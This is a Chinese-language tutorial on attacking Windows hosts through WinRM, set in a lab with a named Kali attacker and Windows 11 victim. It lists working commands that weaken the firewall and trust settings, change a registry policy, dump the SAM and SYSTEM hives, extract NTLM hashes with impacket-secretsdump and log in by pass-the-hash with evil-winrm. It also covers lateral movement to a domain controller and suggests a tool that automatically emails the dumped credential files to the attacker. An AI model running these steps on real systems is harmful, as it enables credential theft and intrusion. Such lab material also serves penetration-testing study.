## 一、简介
- WinRM是很早之前微软推出的一种新式的方便远程管理的服务Windows Remote Management的简称,相比RDP远程桌面协议,WinRM这种服务更具备轻量、低宽带的特性,WinRM与WinRS(Windows Remote Shell)的使用可以让远程连接的运维人员拥有CMDShell环境,通过命令执行对服务器与服务器数据进行管理。
- Winrm服务默认端口:
- 5985(HTTP)
- 5986 (HTTPS)
- 经测试验证,发现对于Windows Server 默认是启用了WinRM服务的,对于windows10、windows11这些主机则需要额外配置才能使用此功能
## 二、环境准备
### 2.1 实验环境
- 攻击机:192.168.20.243(Kali)
- 受害机:192.168.30.207(Windows11,采用微软账户登录)
### 2.2 前置操作
**请使用管理员权限执行以下命令:**
#### 2.2.1 快速配置开启:
- `winrm quickconfig -q` 或 `winrm qc -q`
- 这里winrm配置后,默认信任专用网络和域网络,所以还需要再配置防火墙策略

#### 2.2.2 配置防火墙策略
- 防火墙高级安全设置==>入站规则==>windows远程管理(公用)==>属性==>作用域
- 切换远程IP地址由`下列IP地址` 到 `任何IP地址`
- 启用该策略



#### 2.2.3 配置信任连接主机
- `winrm set winrm/config/Client @{TrustedHosts="*"}`

#### 2.2.4 允许本地管理员组的其他用户登录
- 在系统中,该`LocalAccountTokenFilterPolicy`的值默认为0,默认只有系统默认管理员账户`Administrator(SID 500)`拥有凭证可以进行对主机的连接,本地管理员组的其他用户登录时将会显示“**拒绝访问**”,如果用其他本地管理员组的其他用户进行登录,需要修改注册表中`LocalAccountTokenFilterPolicy`值为1
- `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f`

#### 2.2.5 提取保存本地账户密码哈希(后续进行PTH使用)
- `reg save HKLM\sam sam.save`
- `reg save HKLM\system system.save`
- 后续需要将得到的`sam.save` 和 `system.save` 两个文件拿走,可以采用U盘、即时聊天工具、SCP等文件传输手段将文件拿到攻击机进行NTLM解析,进而发起PTH,采用密文密码登录目标主机

### 2.3 进行攻击
#### 2.3.1 解析哈希
- `impacket-secretsdump -sam sam.save -system system.save LOCAL`

#### 2.3.2 连接远程主机shell
- 注:直接采用微软账户登录的windows设备其主机的administrator账户默认不启用,故无法采用winrm的方式连接。微软登录账户将被加入本地管理组,在前面修改注册表后,将可以直接使用目标微软账户登录目标主机
- `evil-winrm -i <主机IP> -u <用户名> -H <用户哈希>`

## 三、补充
### 3.1域环境下WinRM的使用
- 对于windows Server,其默认开启WinRM,所以在取得一台登录有管理账户的域内主机后,便可以直接利用该账户登录其他域内网络可达的任意主机进行操作,而无需使用知道密码。
- 注意:采用该方式登录其他主机,需要先知道目标主机名,方可远程登录(可采用LDAP查询遍历域内主机)
- 获取DC主机名:`net time /domain`
- 同目标主机进入会话交互模式:`Enter-PSSession <主机名>`
- 成功由一台域内主机登录到DC

### 3.2 攻击机准备
- 对于内网的设备,可以使用WSL(windows子系统)来安装kali这款操作系统作为自己的Linux子系统,而后自行安装kali的各个安全工具,由此即可解决攻击机的准备问题了,除此之外`kali nethunter(手机里的kali)`也是不错的选择
- 参考链接:[传送门](https://developer.aliyun.com/article/886462)
- 微软商店下载:(需要先安装WSL2)

- 使用WSL对先前的目标主机进行攻击(注意先下载相关工具)

### 3.3 快速进行前置操作
- 可以开发小工具,自动执行前置命令,而后通过邮件或其他的方式将文件自动发送到攻击者预设的邮箱,以此快速完成操作
### 3.4 上述使用到的安全工具源地址
- evil-winrm:[传送门](https://github.com/Hackplayers/evil-winrm)
- impacket :[传送门](https://github.com/fortra/impacket)

WinRM攻击手法